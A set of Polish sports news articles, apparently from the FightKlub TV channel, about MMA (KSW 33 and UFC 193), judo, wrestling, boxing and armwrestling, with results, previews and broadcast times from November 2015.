Podczas gali KSW 33 polski fighter miał się zmierzyć z efektownym Azizem Karaoglu. 38-latek w ostatnim czasie pokazał, że jest mocny i potrafi efektownie walczyć. Przekonali się o tym Piotr Strus oraz Jay Silva. Zwłaszcza Brazylijczyk dotkliwe odczuł mocną pięść Karaoglu podczas KSW 31. Silva został oszołomiony przez swojego rywala i nie był w stanie kontynuować walki. Karaoglu potrzebował półtorej minuty, aby odnieść zwycięstwo. Z kim zatem zmierzy się 38-latek w Krakowie? Za Drwala wystąpi Maiquel Falcao, który z dobrej strony pokazał się podczas gali KSW w Londynie. W zaledwie sześćdziesiąt sekund Brazylijczyk uporał się z Brettem Cooperem i dodatkowo zgarnął nagrodę za nokaut wieczoru. 

Szkoda, że w Krakowie zabraknie Drwala. 33-latek ma za sobą występy w UFC i przez wielu uznawany jest za czołowego zawodnika MMA w Polsce. Fani KSW długo musieli czekać na „Gorillę”, który w końcu zaprezentował się im podczas gali w Trójmieście. Tam musiał uznać wyższość Michała Materli, który wygrał na cztery sekundy przed zakończeniem pojedynku. Na tę walkę wszyscy czekali z niecierpliwością, jednak już teraz fani zacierają ręce przed starciem kolejnym wielkim starciem –  Materla vs Khalidov. Stawką pojedynku będzie pas mistrzowski KSW w wadze średniej.

Zmiana u pań

W klatce KSW zadebiutuje również Katarzyna Lubońska, która pierwotnie miała zmierzyć się z Kamilą Porczyk. Trzykrotna mistrzyni świata fitness musiała wycofać się z rywalizacji z powodu kontuzji kręgosłupa.

Nową rywalką Lubońskiej została Ariane Lipski. Brazylijka przyciąga wzrok wielu panów, gdyż jest bardzo urodziwą kobietą. W ostatnim czasie 21-letnia Lipski walczyła w organizacji Striker’s House Cup. Zawodniczka z Kraju Kawy wygrała trzy ostatnie walki, a z Geisyele Nascimento uporała się w zaledwie trzydzieści pięć sekund. Lipski wywodzi się z tajskiego boksu. Zapowiada się emocjonujące, a przede wszystkim urodziwe starcie w KSW.

Warto przypomnieć, że o pas wagi ciężkiej rywalizować będą Karol Bedorf oraz Michał Kita. Dla popularnego „Masakry” będzie to debiut w KSW. Wcześniej Kita rywalizował na galach m.in. M-1 oraz Bellatora.

KM

Grand Prix w Qingdao; kto zatrzyma francuskiego judokę Rinera?

Słynny francuski judo, niepokonany od 5 lat Teddy Riner znów na ekranach telewidzów FightKlubu. W Grand Prix w Qingdao w Chinach (20-22 listopada) zobaczymy też dwoje reprezentantów Polski: Michał Bartusika (-66 kg) i Katarzynę Kłys (-70 kg).Teddy Riner ma dopiero 26 lat, a w dorobku już m.in. złoto olimpijskie w Londynie, brąz w Pekinie oraz 8 tytułów Mistrza Świata Seniorów. W zeszłym tygodniu sięgnął po tytuł Mistrza Francji, a na pokonanie 5 rywali potrzebował zaledwie 6 minut i 27 sekund. Połowę tego czasu trwał finał z 31-letnim Mathieu Thorel. Ostatnią porażkę Teddy Riner poniósł 13 września 2010 roku z Japończykiem Daiki Kamikawą wskazaniem sędziów. Miało to miejsce podczas DMŚ w Tokio. Od tego czasu Francuz stoczył 101 zwycięskich walk. Ale brakuje mu bardzo dużo do rekordu znakomitego Japończyka Yasuhiro Yamashity, który w latach 1977-85 wygrał 203 walk. Przez kilka sezonów w latach 90. niepokonany był też słynny nasz zawodnik Paweł Nastula, Mistrz Olimpijski z Atlanty i 2-krotny Mistrz Świata. Mierzący ponad 200 cm i ważący 145 kg Teddy Riner na dziś jest poza zasięgiem rywali, a może jednak dojdzie do niespodzianki podczas GP Chin? 

Zapraszamy do oglądania naszych relacji na zywo od piątku do niedzieli o g. 09:00.

W Qingdao powalczy też dwójka Polaków 1. dnia wystąpi rzeszowianin Michał Bartusik z klubu Millenium, a w sobotę na tatami będzie rywalizować najbardziej utytułowana obecnie polska judoczka Katarzyna Kłys z Polonii Rybnik. Po Grand Slamie w Abu Dhabi trenowała na zgrupowaniu w hiszpańskiej Maladze, a ostatnie dni spędziła na przygotowaniach w Rybniku i Krakowie.

Zapowiada się gorąca jesień z judo w telewizji FightKlub. Następne transmisje na żywo już wkrótce – Grand Prix na wyspie Jeju (Korea Płd.) i najbardziej prestiżowa impreza na świecie Grand Slam w Tokio.

Super weekend LIVE w FightKlubie

Najbliższy weekend obfitował będzie w liczne  transmisje z różnych wydarzeń ze świata martial arts. Stacja  FightKlub pokaże na żywo zawody Grand Prix w Qingdao, galę bokserską z Las  Vegas z udziałem Diego De La Hoyi, turniej Kickboxing Talents, walkę o  EBU-EU w wadze cruiser oraz Puchar Świata Zawodowców w armwrestlingu  ZŁOTY TUR WORLD CUP  Rumia 2015.

Grand Prix w Qingdao

Od piątku do niedzieli o godzinie 10:00, FightKlub transmitować będzie zawody judo – Grand Prix w Qingdao. Słynny francuski judoka, niepokonany od 5 lat Teddy Riner znów pojawi się na ekranach telewizorów. W Qingdao powalczy też dw&ójka Polaków 1. dnia wystąpi rzeszowianin Michał Bartusik z klubu Millenium, a w sobotę na tatami będzie rywalizować najbardziej utytułowana obecnie polska judoczka Katarzyna Kłys z Polonii Rybnik. 

Zapowiada się gorąca jesień z judo w telewizji FightKlub. Następne transmisje na żywo już wkrótce  Grand Prix na wyspie Jeju (Korea Płd.) i najbardziej prestiżowa impreza na świecie Grand Slam w Tokio.

20 listopada: powrót Diego De la Hoyi

W Hard Rock Casino w Las Vegas na ring powróci Diego De La Hoya. Kuzyn legendarnego Złotego Chłopca jak do tej pory godnie nawiązuje do rodzinnej spuścizny, popisując się talentem, który pozwolił mu na zwycięstwa we wszystkich 12 zawodowych pojedynkach, w tym siedmiu przez nokaut. 21-latek z Meksyku tym razem zmierzy się z rodakiem Giovannim Delgado. Pojedynek odbędzie się na dystansie 8 rund w kategorii super koguciej. Stawką z kolei będzie tytuł WBC Youth wywalczony przez De La Hoyę w poprzednim występie z Jesusem Ruizem. Transmisja gali z Las Vegas w FightKlubie od 04:00 w nocy z piątku na sobotę (powtórka w sobotę o 16:00).

Italian Boxing: Walka o EBU-EU w wadze cruiser

Ostatnio w kategorii junior ciężkiej dzieję się sporo ciekawego. FightKlub przyjrzy się z bliska tej dywizji. W sobotę o 
22:00 pokaże dwa ciekawie zapowiadające się pojedynki. W pierwszym z nich Damian Bruzzese i Maurizio Lovaglio skrzyżują rękawice w starciu, którego stawką będzie wakujący tytuł mistrza Unii Europejskiej. Jego faworytem jest legitymujący się dużo lepszymi statystykami Bruzzese, który wygrał swoje trzy ostatnie walki, a w całej karierze poniósł zaledwie jedną porażkę. W walce Pietro Cirianiego z Simone Federicim stawką jest z kolei tytuł mistrza Włoch.

"Kickboxing Talents" 

Jeszcze więcej talentów i to z mekki kickboxingu – Holandii – zawita w FightKlubie na żywo w sobotę o 20:00! W imprezie Kick-boxing Talents zobaczymy młodych adeptów sztuki kick-boxingu (Fighting Spirit), którzy będą chcieli wywalczyć sobie miejsce wśród najlepszych.

21-22 listopada: XII edycja Pucharu Świata Zawodowców w armwrestlingu

Puchar Świata Zawodowców w armwrestlingu to najbardziej rozpoznawalna na świecie impreza w siłowaniu na ręce. Na specjalne zaproszenie organizatorów w zawodach weźmie udział prawie 200 najsilniejszych zawodników z ponad 25 krajów i 6 kontynentów w tym z Afryki, Ameryki Południowej i Północnej, Australii, Europy oraz Azji. O randze turnieju świadczy też fakt, że pula nagród tegorocznego Pucharu Świata Zawodowców to 34 200 USD. W zawodach startują zarówno kobiety jak i mężczyźni. Polskę reprezentować będzie około 30 osobowa kadra zawodników. W Rumi 
zobaczymy m.in. polskich medalistów mistrzostw świata, m.in. Marlenę Wawrzyniak i Sławomira Głowackie.

Relacja z pierwszego dnia zawodów w sobotę od północy, drugi dzień zawodów na żywo w niedzielę od 20:00.

Zwiastun: [kod]

Kadra pod nowym okiem

Andrzej Maksymiuk rozpoczął pracę z reprezentacją Polski zapaśników w stylu klasycznym. Cel postawiony przed trenerem jest jasny. Wywalczenie przepustek na Igrzyska Olimpijskie w Rio de Janeiro.

Nasi klasycy muszą wziąć się ostro do pracy i efektownie przepracować najbliższy okres. Trzeba wykorzystać każdą nadarzającą się okazję na zdobycie przepustki do Rio.

Drużyna Maksymiuka 

W Centralnym Ośrodku Sportu w Spale odbyła się oficjalna prezentacja nowego sztabu szkoleniowego kadry w stylu klasycznym. Wiadomo, że trener Maksymiuk podpisał kontrakt do 30 września 2017 roku. Kto będzie pomagał mu w pełnieniu obowiązków? Jednym z asystentów Maksymiuka będzie Józef Tracz, który ma w swojej kolekcji medale mistrzostw świata i Europy. Były zapaśnik WKS Śląsk Wrocław stawał na podium podczas Igrzysk Olimpijskich. W Barcelonie w 1992 roku wywalczył tytuł wicemistrza olimpijskiego, z kolei w 1988 (Seul) i 1996 (Atlanta) stanął na najniższym stopniu podium. Drugim z asystentów Maksymiuka będzie Walerij Cylent. Białorusin w 1996 roku w Atlancie zdobył brązowy medal olimpijski w kategorii 82kg. Z kolei Damian Fedorowicz będzie odpowiedzialny za sprawy organizacyjne.

Cel nowego sztabu szkoleniowego jest oczywisty. Kadra musi godnie zaprezentować się na Igrzyskach Olimpijskich w Rio de Janeiro, ale najpierw trzeba uzyskać kwalifikacje. Zostało osiem miesięcy do rozpoczęcia imprezy. Maksymiuk wchodzi na rozgrzany pokład, którego dowódcą do tej pory był Ryszard Wolny, jednak poległ ze względy na słaby występ podczas mistrzostw świata w Las Vegas. 

Pierwszy poważny sprawdzian dla nowego szkoleniowca nadejdzie w kwietniu, kiedy to odbędą się mistrzostwa Europy w Zerjaninie. Maksymiuk musi dołożyć wszelkich starań, aby uzyskać jak najwięcej kwalifikacji olimpiskich. Z kolei w Rio zapaśnicy będą walczyli o medale. Damian Janikowski chciałby po raz kolejny stanąć na olimpijskim podium. Czy będzie mu to dane?

Medale ze Słowacji

Klasycy powinni wziąć przykład z reprezentacji kadetów w stylu wolnym. Polacy zaprezentowali się w dwunastym turnieju im. Andrieja Burika w Sninie na Słowacji. W międzynarodowych zawodach wzięło udział ponad stu zawodników z ośmiu państw.

Podopieczni Dariusza Grzywińskiego zaliczyli dobry występ. Polacy ze Słowacji przywiozą medale w każdym kolorze w łącznej liczbie trzech. Triumfował Damian Chołuj w kategorii 100kg, finałową walkę przegrał Krystian Brzeziński w 50kg. Z kolei Kordian Skrzyński startujący w 54kg wywalczył brązowy medal. 

W tym miejscu warto również wspomnieć o występie seniorskiej kadry w stylu wolnym w Pucharze Europy w Moskwie. Biało-czerwoni zajęli szóstą lokatę. Podczas rywalizacji w Moskwie przegrali dwa spotkania i odnotowali remis – z Białorusią.

KM

Występ na szóstkę

W skali szkolnej to najwyższa z możliwych ocen. Nasi judocy wywalczyli sześć medali podczas młodzieżowych mistrzostw Europy, które odbyły się w Bratysławie.

Biało-czerwoni zanotowali dobry występ. Wywalczenie sześciu medali pozwoliło Polakom na zajęcie piątej pozycji w klasyfikacji medalowej.

Blask złota wśród brązu

Z tytułem mistrzyni musi oswoić się Karolina Pieńkowska. 22-latka w Bratysławie stanęła na najwyższym stopniu podium w kategorii 52kg. W finale Pieńkowska uporała się z Teną Sikić, a łącznie stoczyła cztery zwycięskie boje.

Dwie walki wystarczyły Beacie Pacut do wywalczenia brązowego medalu młodzieżowych mistrzostw Europy w kategorii 52kg. Judoczka Czarnych Bytom w półfinale nie zdołała znaleźć sposobu na Ivanę Sutalo, czym zaprzepaściła szansę na walkę o złoto. Brąz zdobyła pokonując przez ippon Milicę Zabic. Pacut pokazała się z dobrej strony kolejny raz. W ubiegłym roku sięgnęła po srebrny medal mistrzostw Europy juniorek i brąz na mistrzostwach świata juniorek.

Siódme miejsce w tej samej kategorii zajęła Anna Załęczna. Polka po porażce w starciu z Aydaną Nagorovą trafiła do repasaży, gdzie nie sprostała Milicy Zabic. Można więc powiedzieć, że Pacut pomściła swoją rodaczkę.

W kategorii 70kg zaprezentowała się Urszula Hofman, która o pozostanie w turnieju musiała rywalizować w repasażach. Przeszkodą nie do przejścia okazała się Aleksandra Samardzic, która ostatecznie sięgnęła po srebrny medal. Polka w repasażach spisała się świetnie. Wygrała dwie walki i mogła cieszyć się z brązowego medalu. Na siódmym miejscu została sklasyfikowana Aleksandra Jabłońska, która wygrała jedną walkę.

Arleta Podolak i Anna Borowska na podium zmagań w kategorii 52kg. Obie sięgnęły po brązowe medale. Daria Mezhetskaia to zawodniczka, która w Bratysławie rywalizowała zarówno z Podolak jak i Borowską. Pierwszą z nich pokonała, a na drugiej zakończyła swój udział w mistrzostwach. Dzięki pokonaniu Mezhetskaii Borowska mogła rywalizować o trzecie miejsce na podium. Decydujące boje Polki zakończyły przed czasem.

Wśród pań uchował się również rodzynek. Brązowy medal młodzieżowych mistrzostw Europy zawisł na szyi Karola Kurzeja, który rywalizował w kategorii 81kg. Polak wygrał dwie walki i był już w półfinale, gdzie uległ Bułgarowi Ivaylo Ivanovowi. Z rywalizacji z Jabą Bitsadze wyszedł zwycięsko i stanął na trzecim stopniu podium. O krok od zdobycia medalu był Tomasz Szczepaniak w kategorii 90kg. Polak w decydującej walce uległ Nicholasowi Mungai.

Rosja najlepsza

Wśród młodzieżowców skutecznością wykazali się Rosjanie, którzy wywalczyli trzy złote medale. Taki sam wynik zanotowali Niemcy, jednak to Sborna wygrała klasyfikację medalową. Rosjanie wywalczyli łącznie siedem medali. Na trzecim miejscu uplasowali się Włosi, którzy zgromadzili pięć medali.

Polska uplasowała się na wysokiej, piątej pozycji. Biało-czerwonych wyprzedziła jeszcze Ukraina.

KM

Jędrzejczyk zwyciężyła, Holm zaskoczyła

Joanna Jędrzejczyk podczas gali UFC 193 po raz kolejny obroniła pas mistrzowski w kategorii słomkowej. Valerie Letourneau okazała się wymagającą przeciwniczką. W Melbourne stało się coś nieprawdopodobnego. Porażkę zanotowała Ronda Rousey.

O wielkości świadczy przede wszystkim umiejętność wyjścia z trudnej sytuacji. Jędrzejczyk to zawodniczka z charakterem, która imponuje wolą walki. Kanadyjka kilka razy zaskoczyła ją w oktagonie, jednak mistrzyni kategorii słomkowej była czujna i szybko reagowała na wydarzenia.

Nieustępliwa Letourneau

Jędrzejczyk przyzwyczaiła widzów, że to ona dyktuje warunki walki. W starciu z Letourneau Polka musiała być uważna już od samego początku. Kanadyjka bardzo szybko sprowadziła walkę do parteru. Przejęła low-kicka mistrzyni i mogła rozpocząć swoje rozpracowywanie rywalki, jednak Jędrzejczyk szybko udało wrócić się do stójki. Letourneau nie odpuszczała. Kanadyjka wywierała presję na Polkę, jednak ta w końcu trafiła rywalkę front-kickiem. To było pierwsze ostrzeżenie dla pretendentki.

W drugiej odsłonie Letourneau była już ostrożniejsza. Miała świadomość, że ciosy Jędrzejczyk mają ogromną siłę rażenia. Walka uspokoiła się, Polka szukała swojej szansy w niskich kopnięciach, jednak rywalka skutecznie się broniła. Letourneau klinczowała, czym hamowała zapędy Jędrzejczyk. Polka starała się atakować nogami, jednak Kanadyjka była przygotowana na takie zagrania. Mistrzyni była stroną przeważającą i decydowała o obliczu walki, ale Letourneau dobrze radziła sobie w obronie. Jednak praca w defensywie również jest męcząca, co doskonale było widać po Kanadyjce.

Przewaga Polki nie podlegała dyskusji. W czwartej rundzie kontynuowała swoją taktykę i atakowała Letourneau, która raz zaskoczyła mistrzynię podbródkowym. Jędrzejczyk konsekwentnie stawiała na low-kicki. Pod koniec rundy 32-latka z Montrealu przyjęła mocny podbródkowy. Zachwiała się, ale nadal walczyła. Kanadyjka okazała się twardą zawodniczką, jednak jej działania sprowadzały się wyłącznie do obrony. W ataku była bierna, wyprowadzała pojedyncze ciosy. Do ostatniej rundy Letourneau wyszła nastawiona ofensywnie, jednak nie zagroziła Jędrzejczyk. Mistrzyni konsekwentnie osłabiała przeciwniczkę niskimi kopnięciami, a przy okazji stosowała kombinacje bokserskie. Twarz Kanadyjki wyraźnie spuchła. Jędrzejczyk w pełni kontrolowała tę walkę i odniosła zwycięstwo na punkty. Jedenasty triumf stał się faktem.

Nie do wiary!

Tego chyba nikt się nie spodziewał! 34-letnia Holly Holm została mistrzynią UFC w wadze koguciej. Amerykanka to zawodniczka z ogromnym potencjałem i umiejętnościami, jednak w starciu z Rondą Rousey jej szanse oceniano jako nikłe.

„Rowdy” poniosła pierwszą porażkę w karierze i straciła pas mistrzowski. Stało się coś, co dla wielu jest trudne do zrozumienia. Wydawało się, że Rousey jest niezniszczalna i nie ma siły, która by ją powstrzymała. Już fakt, że Holm przetrwała pierwszą rundę pokazał, że 34-latka jest mocna. Holm nie przestraszyła się swojej utytułowanej przeciwniczki. W drugiej rundzie zdecydowanie na nią ruszyła i wypunktowała Rousey. Głowa „Rowdy” cierpiała od kolejnych ciosów, a Amerykanka nie potrafiła się uwolnić. Holm po niespełna minucie rywalizacji w drugiej rundzie mogła cieszyć się z pasa mistrzowskiego.

W pierwszej rundzie poległ Peter Sobotta. Kyle Noke kopnięciami na korpus wypunktował swojego rywala i po dwóch minutach zakończył pojedynek.

Na zdjęciu Joanna Jędrzejczyk podczas walki z Jessicą Penne, którą nasza mistrzyni rozstrzygnęła przed czasem. Tym razem efektownego zakończenia rywalizacji nie było, ale Polka pokazała swój potencjał.

KM

Mamy mistrzynię Europy!

Karolina Pieńkowska w kategorii wagowej 52kg sięgnęła po tytuł młodzieżowej mistrzyni Europy w judo. Polka była skuteczna i do bólu perfekcyjna. W trakcie rywalizacji nie straciła żadnego punktu.

Do Bratysławy udała się osiemnastoosobowa kadra Polski. Po pierwszym dniu rywalizacji biało-czerwoni mają na koncie trzy medale, w tym złoty autorstwa Karoliny Pieńkowskiej.

Młoda mistrzyni

Pieńkowska po raz pierwszy w swojej karierze zdobyła złoty medal na imprezie rangi mistrzowskiej. Wcześniej była w czołówce, ale nigdy nie zwyciężyła. W 2010 roku podczas mistrzostw Europy juniorek w Samokowie wywalczyła brązowy medal. Warto zaznaczyć, że Polka startowała wtedy w kategorii 48kg. Z kolei w 2012 roku rywalizowała już w 52kg i w Porecu powtórzyła sukces – brązowy medal. 22-latka regularnie startuje w międzynarodowych turniejach. W tym roku na swoim koncie zapisała start w mistrzostw świata w Astanie, gdzie drużynowo wywalczyła srebrny medal. Piątek 13-tego okazał się szczęśliwy dla naszej zawodniczki. Pieńkowska mogła podskoczyć z radości po pojedynku z Teną Sikić.

Skuteczna, perfekcyjna, precyzyjna, uważna – taka była Pieńkowska w Bratysławie. Na początku los się do niej uśmiechnął. Rywalizację zaczęła od drugiej rundy, więc miała więcej czasu na przygotowanie. Pierwszą rywalką naszej judoczki była Patricia Toth. Polka potrzebowała zaledwie półtorej minuty, aby rozprawić się z Węgierką. Przez waza-ari Pieńkowska wygrała z Rosjanką Anną Dmitrievą. Dwa zwycięstwa zapewniły 22-letniej zawodniczce awans do strefy medalowej. O finał Polka rywalizowała z Katri Kakko. Judoczka z Finlandii musiała uznać wyższość Pieńkowskiej, która zastopowała zapędy swojej rywalki przez ippon. W finale Polka była bardziej aktywna i agresywna. Uparcie szukała swojej szansy, co przekładało się na zdobycz punktową. Pieńkowska wygrała przez waza-ari.

Cztery walki Pieńkowski, w których dwa razy zwyciężyła przez ippon. Ponadto Polka trzy razy punktowała stosując waza-ari, a raz yuko. Pieńkowska została młodzieżową mistrzynią Europy!

Dziewczyny lubią brąz

Słowa jednej z piosenek Ryszarda Rynkowskiego idealnie pasują do startu Anny Borowskiej i Arlety Podolak podczas czempionatu w Bratysławie. Zawodniczki rywalizujące w kategorii 52kg zdobyły brązowe medale.

Podolak wygrała walkę z Anastasiją Michailovą, jednak w kolejnym pojedynku poległa. Pogromczynią Polki okazała się Daria Mezhetskaia. W związku z porażką Podolak czekała rywalizacja w repasażach, gdzie wykazała się skutecznością i pokonała dwie rywalki, co dało jej szansę walki o brązowy medal. Podobną drogę przebyła Anna Borowska. Polka wygrała dwie walki, ale w trzecim starciu musiała uznać wyższość Niemki Sappho Coban. Jedyną szansą na rywalizację o medale było przejście przez repasaże. Polka trafiła m.in. na Mezhetskaię, która pokonała Arletę Podolak. Borowska pomściła swoją rodaczkę, co pozwoliło jej rywalizować o trzecie miejsce.

W decydujących pojedynkach obie zawodniczki zwyciężyły przed czasem. Zawodniczka Czarnych Bytom pokonała Tanję Bozović z Czarnogóry, a Daria Meżecka musiała pogodzić się ze zwycięstwem reprezentującej barwy Polonii Rybnik Borowskiej.

Szybko z rywalizacją pożegnali się Michał Bartusik i Patryk Wawrzyczek, którzy rywalizowali w 66kg. Tylko jedną walkę w 48kg stoczyła Katarzyna Wiszniewska.

KM 

Wyciągają ręce po tytuły

Przed Krzysztofem „Diablo” Włodarczykiem i Mateuszem Masternakiem kolejne pojedynki. Obaj pięściarze będą mieli szansę powrócić do glorii chwały w wadze junior ciężkiej.

Polscy kibice mają prawo nie pamiętać, kiedy po raz ostatni na ringu zaprezentował się Włodarczyk. Były mistrz świata WBC stoczy pojedynek po piętnastomiesięcznej przerwie.

Zapomnieć o Drozdzie

Ostatnia walka „Diablo” odbyła się 27 września 2014 roku w Moskwie. Polak rywalizował z Grigorijem Drozdem, na rzecz którego stracił mistrzowski pas WBC. Rosjanin wygrał zdecydowanie w oczach sędziów, konsekwentnie przez cały pojedynek budując swoją przewagę. Włodarczyk był zbyt wolny, przewidywalny i stracił pas. Po pojedynku otwarcie przyznawał, że to starcie mu nie wyszło. Zapowiadał swój powrót i odzyskanie pasa. Włodarczyk miał stoczyć w maju pojedynek rewanżowy z Drozdem, jednak choroba uniemożliwiła mu rywalizację.  Zastąpił go Łukasz Janik, ale bez powodzenia.

W mediach przewijały się rewelacje na temat możliwej walki Włodarczyka z Adamkiem. Jednak „Diablo” cierpliwie czekał na swój powrót, bo nadal poważnie myśli o boksie na najwyższym poziomie. 18 grudnia Polak zmierzy się z Bejbutem Szumenowem. Stawką starcia, do którego dojdzie w Las Vegas będzie tymczasowy pas WBA wagi junior ciężkiej. Kazach zdobywa dopiero doświadczenie w kategorii cruiser. Wcześniej z powodzeniem rywalizował w półciężkiej. Po pas sięgnął w lipcu, kiedy to uporał się z BJ Floresem. Zatem rywalizacja z Włodarczykiem będzie w jego wykonaniu pierwszą obroną tytułu. „Diablo” dostał ciekawą propozycję. Polak może wrócić w wielkim stylu, a dodatkowo podczas  gali w Stanach Zjednoczonych, a w Ameryce były mistrz świata WBC jeszcze nie przegrał.

Cel: odzyskać pas

Złe wspomnienia z rywalizacji z Grigorijem Drozdem ma również Mateusz Masternak. Popularny „Master” w październiku 2013 roku stracił tytuł mistrza Europy na rzecz rosyjskiego boksera.

28-letni Masternak nadal pozostaje nadzieją polskiego boksu. Wydawało się, że pięściarz idzie dobrą drogą i w końcu dostanie szansę na rywalizację o pas mistrza świata. W czerwcu 2014 roku boksował o tymczasowy pas WBA w wadze junior ciężkiej, jednak niespodziewanie poległ w starciu z Yourim Kalengą. Tym samym szansa na rywalizację z Denisem Lebiediewem uciekła Polakowi. Masternak robił wszystko, aby wrócić do łask i odbudować swoją pozycję. Pokonał byłego pretendenta do tytułu mistrza świata wagi ciężkiej Jeana Marca Mormecka, który boksuje już raczej dla przyjemności, jednak „Master’ mógł odnotować wygraną z przeciwnikiem o znanym nazwisku. W końcu pojechał do RPA, gdzie niespodziewanie przegrał z Johnny’m Muellerem. Werdykt wywołał wiele kontrowersji. Sporo mówiło się o możliwości walki rewanżowej.

Już za niespełna miesiąc Masternak może być w innym miejscu w bokserskiej hierarchii. 12 grudnia „Master” będzie mógł odzyskać tytuł mistrza Europy, którego posiadaczem jest Tony Bellew. Walka odbędzie się w Londynie podczas gali, na której zmierzą się Anthony Joshua i Dillian Whyte. W tym roku Bellew stoczył już dwie walki i obie zakończył przed czasem. „Master” liczy na trzecie tegoroczne zwycięstwo, które pozwoli mu odzyskać tytuł mistrza Europy.

KM

Dwie mistrzynie podbiją Melbourne?

Galę UFC 193, która odbędzie się już 15 listopada uświetni występ dwóch wielkich mistrzyń. Gwiazdami wieczoru będą Ronda Rousey oraz nasza Joanna Jędrzejczyk.

Polka przebojem wdarła się do najlepszej organizacji mieszanych sztuk walki na świecie. Jędrzejczyk pokazała swój potencjał, serce do walki, co pozwoliło jej wywalczyć pas mistrzowski w wadze słomkowej. W Melbourne po raz drugi będzie broniła tytułu.

Pewna swego

Joanna Jędrzejczyk rozkręciła się na dobre. W trzecim pojedynku w UFC rywalizowała o miano najlepszej fighterki w wadze słomkowej. Carla Esparza nie znalazła sposobu na Polkę, która podczas marcowej gali UFC 185 zdominowała swoją rywalkę. Jędrzejczyk słała kolejne ciosy w stronę Amerykanki i pod koniec drugiej rundy mogła świętować swoje zwycięstwo. Na nic zdało się bogate doświadczenie Esparzy w organizacji Invicta. Efektowny występ dał Jędrzejczyk dodatkowe pięćdziesiąt tysięcy dolarów za pojedynek wieczoru.

Polka osiągnęła swój cel i stała się gorącym towarem na amerykańskim rynku. Pewna siebie, a zarazem zabójczo skuteczna 28-latka stała się gwiazdą UFC. Przed pojedynkiem z Jessicą Penne zrobiła prawdziwe show. Na konferencji prasowej wręczyła rywalce naszyjnik z makaronu penne. Z jednej strony odwaga i pewność siebie, z drugiej ktoś powie – przesada. W tym przypadku widać, że Jędrzejczyk świetnie zrozumiała warunki panujące w tym świecie i chce w pełni wykorzystać swoją szansę. O jej poziom sportowy nie należy się obawiać. W Berlinie podczas pierwszej obrony pasa w trzeciej rundzie odprawiła Penne. Jędrzejczyk wystrzeliła w stronę rywalki aż 126 ciosów! 15 listopada 28-latka stanie przed kolejnym wyzwaniem. Valerie Letourneau podejmie próbę pozbawienia Jędrzejczyk tytułu mistrzowskiego. Czy jej się uda? Kanadyjka półtora roku temu debiutowała w UFC i do tej pory stoczyła trzy pojedynki. Wszystkie zakończyły się jej wiktorią w wyniku decyzji sędziów. Jędrzejczyk jest przygotowana na rywalizację na pełnym dystansie, jednak jeśli podkręciła tempo spokojnie może wygrać przed czasem. W dwóch ostatnich walkach potwierdziła, że pod naporem jej ciosów rywalki miękną.

Szybko jak zawsze

Na gali w Melbourne zaprezentuje się również najważniejsza kobieta UFC, czyli Ronda Rousey. Amerykanka jest gwiazdą organizacji, a zarazem magnesem, który budzi największe zainteresowanie.

Cztery ostatnie pojedynki mistrzyni wagi koguciej kończyła w pierwszych rundach. Podczas UFC 175 uporała się z Alexis Davis w zaledwie szesnaście sekund. Precyzyjna, perfekcyjna do bólu, skuteczna – taka jest Rousey. Jej rywalki drżą przed nią, jeszcze żadnej nie udało się wytrwać pełnego dystansu w walce z amerykańską gwiazdą. Czy pierwszą będzie Holly Holm? 34-letnia zawodniczka to doświadczona wojowniczka, która jeszcze nigdy nie przegrała. W UFC debiutowała w lutym 2015 roku pokonując Raquel Pennington. Do amerykańskiej organizacji przyszła z myślą, żeby wywalczyć o mistrzowski pas. Dość szybko dostała szansę rywalizacji o tytuł. Czy ją wykorzysta?

Kibice MMA będą mogli podczas jednej gali zobaczyć dwie najlepsze fighterki UFC. Która zaprezentuje się lepiej? Wydaje się, że przed Joanną Jędrzejczyk jeszcze dużo pracy, aby dorównać Rondzie Rousey. Amerykanka to niekwestionowana gwiazda, która potrafi zakończyć pojedynek w mgnieniu oka. Z kolei Polka wchodzi na pierwszy plan z bogatym repertuarem, ale na obecną chwilę jest numerem 2. Pozycja Rousey wydaje się niezagrożona. Chyba, że w Melbourne dojdzie do trzęsienia ziemi.

KM

Kto będzie wyglądał gorzej?

Boks to nie jest sport dla słabych. Tu liczy się precyzja, szybkość i wbrew pozorom – mądrość. Można słać miliony ciosów w stronę rywala, a on uderzy tylko raz, ale skutecznie, co przełoży się na zwycięstwo. Kto jest faworytem starcia Miguel Cotto vs Saul „Canelo” Alvarez?

Rozpoczęło się odliczanie do istotnego dla rozkładu sił w wadze średniej pojedynku. Już 21 listopada do ringu w Las Vegas wejdą Portorykańczyk i Meksykanin. To jeden z dwóch najgorętszy bokserskich pojedynków tej jesieni. Tydzień później w Duesseldorfie dojdzie do starcia Władimira Kliczko i Tysona Fury.

Wiedza kontra pragnienia

Warto pochylić się nad Miguelem Cotto, żeby zrozumieć pewien fenomen. Portorykańczyk na zawodowych ringach rywalizuje już czternaście lat. Pierwsze znaczące osiągnięcie Cotto zanotował w 2003 roku, kiedy wywalczył wakujący pas WBC International w wadze superlekkiej. Pięściarz w jedenastej rundzie dał kres wysiłkom Cesara Bazana. Z każdą kolejną walką Portorykańczyk dojrzewał i przemykał przez kolejne kategorie wagowe. Pasy mistrzowskie zdobywał w kategoriach: junior półśredniej, półśredniej, lekkośredniej. Obecnie Cotto znajduje się w posiadaniu tytułu czempiona WBC wagi średniej.

Cotto to doświadczenie, osobowość, tytan pracy. Jednym słowem postać współczesnego boksu. Jego wytatuowane ciało kojarzą wszyscy fani pięściarstwa. Cotto jest zawodnikiem, którego walki ogląda się z zaciekawieniem. Portorykańczyk walczy efektownie i nie kalkuluje. Szybko potrafi sprowadzić swojego rywala na ziemię. Tak jak w przypadku ostatniego starcia, w którym zmierzył się z Danielem Geale'm. Australijczyk już w czwartej rundzie zdany był na porażkę.

21 listopada Cotto stanie naprzeciw młodego wilka, a zaraz jastrzębia, który będzie chciał wyrwać z rąk Portorykańczyka mistrzowski pas. „Canelo” imponuje, gdyż mimo młodego wieku stoczył już blisko pięćdziesiąt walk na zawodowym ringu. 25-latek w trzydziestu dwóch przypadkach kończył rywalizację przed czasem. 

Młodość nie pomoże

Atutem Alvareza może być wiek. Meksykanin jest młodszy, ma lepszą kondycję, ale czy to przesądzi o jego zwycięstwie. Trener Cotto Freddie Roach docenia możliwości „Canelo”. – Alvarez ma dobrą prawą rękę, którą może nokautować. On wchodzi do ringu, żeby walczyć. Zastanawiam się, czy będzie nadal tak przystojny po walce. Cotto jest lepszym pięściarzem niż wcześniej. Ma trenera, któremu ufa, a ja boksera, którego obdarzyłem zaufaniem. "Canelo" może czerpać z młodości, ale w tej walce będzie pomagała mu do czasu. Później głos będzie należał do Cotto – mówi Roach.

